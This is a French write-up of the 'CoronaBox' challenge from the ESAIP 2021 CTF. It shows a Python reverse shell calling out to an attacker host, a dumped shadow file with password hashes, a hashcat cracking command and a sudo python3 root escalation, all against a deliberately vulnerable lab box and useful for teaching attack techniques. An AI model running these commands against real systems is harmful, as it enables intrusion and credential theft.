CTF ESAIP 2021 — Box Write-up : CoronaBox

Les Pires Hat
5 min readMay 29, 2021

Le 29 mai 2021 a eu lieu la quatrième édition du CTF ESAIP. Aussi, mobilisés par la seconde épreuve du WaveGame, nous avons tout de même terminé 5èmes au classement général.

CTF ESAIP 2021
Scoreboard

Nous allons voir dans ce write-up comment résoudre le challenge “CoronaBox” dans la catégorie Boxes.

CoronaBox

Le challenge commence avec l’énoncé suivant :

Challenge de type HackTheBox. Le but est de retrouver le flag situé dans /root/.

La box est accessible à l’adresse http://192.168.99.100:8088/.

Le flag est au format CTF{…..}.

La première étape est donc de se rendre à l’adresse indiquée.

On y trouve une application web, un compteur de cas de Covid-19, “Corovid”.

L’application web Corovid

En analysant le comportement de l’application, on remarque que le navigateur effectue une requête GET afin de rafraîchir le nombre de cas Covid.

Exemple d’une requête effectuée pour rafraîchir le nombre affiché

Plusieurs choses interpellent sur cette requête. 🔍

Premièrement on remarque qu’il y a un argument shell qui semble prendre une commande linux.

On trouve aussi un argument auth_ts qui prend un timestamp ainsi que auth_sign qui semble être une signature.

Ainsi lorsqu’on essaie de modifier la commande exécutée, le serveur vérifie la signature.

Si elle n’est pas valide ou déjà utilisée, il renvoie une réponse avec le message “bad signature” et il n’y a pas d’exécution.

Cette histoire est tout de même étrange, si c’est le navigateur qui signe alors il possède la logique ainsi que les secrets pour le faire !

Afin d’en apprendre plus, nous pouvons regarder les scripts JS de la page, notamment le fichier “script.js”.

Dans ce fichier on trouve plusieurs fonctions intéressantes :

On remarque alors le secret utilisé pour signer : “You are a hacker” 👀

Nos conjectures se confirment.

Le navigateur signe bien la requête avec ce secret.

Il suffit alors de modifier la valeur de la variable f en console afin de changer la commande qui va être signée puis envoyée au serveur.

Le payload à mettre dans la variable f correspond à notre commande encodée en binaire (comme le montre la fonction u).

Ainsi à l’aide de CyberChef par exemple on peut essayer d’encoder le reverse shell python3 suivant en binaire.

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.255.6",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Utilisation de CyberChef pour l’encodage
Utilisation de la console javascript du navigateur pour modifier la commande qui va être signée

Sur ma machine j’écoute avec netcat et…

Connection from 192.168.99.100:59360 
/bin/sh: 0: can't access tty; job control turned off
$ whoami
pfizer

Bingo ! 🥳

Comme il est indiqué, nous ne sommes pas sur un TTY mais avec python l’affaire est vite réglée.

python3 -c 'import pty; pty.spawn("/bin/sh")'

Après analyse du système, on remarque trois utilisateurs intéressants.

root:x:0:0:root:/root:/bin/bash
pfizer:x:1000:1000::/home/pfizer:/bin/sh astrazeneca:x:1001:1001::/home/astrazeneca:/bin/sh

Il y a aussi un répertoire avec un fichier de sauvegarde.

$ ls -al /srv 
ls -al /srv
total 12
drwxr-xr-x 1 root root 4096 May 29 17:29 .
drwxr-xr-x 1 root root 4096 May 23 21:48 ..
-rw-r--r-- 1 root pfizer 577 May 29 17:29 .bckp_2021-05-23_21:01.zip

Il est alors possible de copier ce fichier de sauvegarde vers /tmp afin de le décompresser.

$ cp /srv/.bckp_2021-05-23_21:01.zip /tmp
cp /srv/.bckp_2021-05-23_21:01.zip /tmp
$ unzip .bckp_2021-05-23_21:01.zip
unzip .bckp_2021-05-23_21:01.zip
Archive: .bckp_2021-05-23_21:01.zip
inflating: etc/shadow
$ ls -al
ls -al
total 24
drwxrwxrwt 1 root root 4096 May 29 17:30 .
drwxr-xr-x 1 root root 4096 May 23 21:48 ..
-rw-r--r-- 1 pfizer pfizer 577 May 29 17:29 .bckp_2021-05-23_21:01.zip
-rw-r--r-- 1 root root 12 May 29 17:30 .corovid_value.txt
drwxrwxr-x 2 pfizer pfizer 4096 May 29 17:30 etc
$ ls -al etc
ls -al etc
total 16
drwxrwxr-x 2 pfizer pfizer 4096 May 29 17:30 .
drwxrwxrwt 1 root root 4096 May 29 17:31 ..
-rw-r----- 1 pfizer pfizer 877 May 23 21:01 shadow
$ cat etc/shadow
cat etc/shadow
root:$6$qKTqZ3FAFP0HINUH$iIQtzV/KeP5vC12qQamP4hJ0EIm9jFIT4fJy8pjtOitMaJHWb8vNoFJLbyI8ObKvRUwVx/qSYqr47wKV6tsct0:18770:0:99999:7:::
daemon:*:18733:0:99999:7:::
bin:*:18733:0:99999:7:::
sys:*:18733:0:99999:7:::
sync:*:18733:0:99999:7:::
games:*:18733:0:99999:7:::
man:*:18733:0:99999:7:::
lp:*:18733:0:99999:7:::
mail:*:18733:0:99999:7:::
news:*:18733:0:99999:7:::
uucp:*:18733:0:99999:7:::
proxy:*:18733:0:99999:7:::
www-data:*:18733:0:99999:7:::
backup:*:18733:0:99999:7:::
list:*:18733:0:99999:7:::
irc:*:18733:0:99999:7:::
gnats:*:18733:0:99999:7:::
nobody:*:18733:0:99999:7:::
_apt:*:18733:0:99999:7:::
pfizer:$6$VjeJbF1j0r5HZyuD$4W7rRIHjbMJmMnvpUeHp4nsJl1XzmNRTZH9iNssJOlHw617sytbqajqyj8f0IpItYebpIHWa0MoAOBdBfErpZ/:18770:0:99999:7:::
astrazeneca:$6$4zZ92IsZJlH8WBNH$m2rFyDaihM7U.M4Lb1abZwt1i4dXRsM2IWE4TxPu4y1qRKxHunntwXgYrP4hlllhd7.yjK1LD58sWXEJpasNK.:18770:0:99999:7:::

Que demander de mieux ? 🎁

L’archive contient une sauvegarde du fichier /etc/shadow.

Ce fichier contient le hash des mots de passe pour tous les utilisateurs du système. Il est très sensible et seul l’utilisateur root peut y accéder normalement.

On peut alors noter les hash des trois utilisateurs qui nous intéressent.

pfizer:$6$VjeJbF1j0r5HZyuD$4W7rRIHjbMJmMnvpUeHp4nsJl1XzmNRTZH9iNssJOlHw617sytbqajqyj8f0IpItYebpIHWa0MoAOBdBfErpZ/
astrazeneca:$6$4zZ92IsZJlH8WBNH$m2rFyDaihM7U.M4Lb1abZwt1i4dXRsM2IWE4TxPu4y1qRKxHunntwXgYrP4hlllhd7.yjK1LD58sWXEJpasNK.
root:$6$qKTqZ3FAFP0HINUH$iIQtzV/KeP5vC12qQamP4hJ0EIm9jFIT4fJy8pjtOitMaJHWb8vNoFJLbyI8ObKvRUwVx/qSYqr47wKV6tsct0

Avec hashcat il est possible de réaliser une attaque par dictionnaire ou force brute afin de casser les hash récupérés.

hashcat -m 1800 -a 0 ./hashes ./rockyou.txt -O

Ici on utilise le mode attaque par dictionnaire avec la fameuse liste “rockyou”, idéale pour trouver des mots de passe faibles.

Après quelques minutes on trouve un résultat pour un hash dans notre liste.

$6$4zZ92IsZJlH8WBNH$m2rFyDaihM7U.M4Lb1abZwt1i4dXRsM2IWE4TxPu4y1qRKxHunntwXgYrP4hlllhd7.yjK1LD58sWXEJpasNK.:monsauveur

Parfait ! On peut continuer.

Ce mot de passe appartient à l’utilisateur astrazeneca. 💉

$ su astrazeneca
su astrazeneca
Password: monsauveur
$ sudo -l
sudo -l
Matching Defaults entries for astrazeneca on 1a37df71d186:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User astrazeneca may run the following commands on 1a37df71d186:
(ALL : ALL) NOPASSWD: /usr/bin/python3

Ça fonctionne ! 🎉

On remarque au passage, avec la commande “sudo -l”, que cet utilisateur peut utiliser python3 avec l’identité de l’utilisateur root.

Pratique pour récupérer le flag.

Ainsi sur GTFOBins on trouve facilement un payload pour obtenir un shell privilégié avec python.

$ sudo python3 -c 'import os; os.system("/bin/sh")'
sudo python3 -c 'import os; os.system("/bin/sh")'
# whoami
whoami
root
# cat /root/flag.txt
cat /root/flag.txt
CTF{V@cc!nezVous@h@h}

L’élévation de privilège est un succès et le flag se dévoile ! 🚩

Un grand merci aux organisateurs de ce challenge !

--

--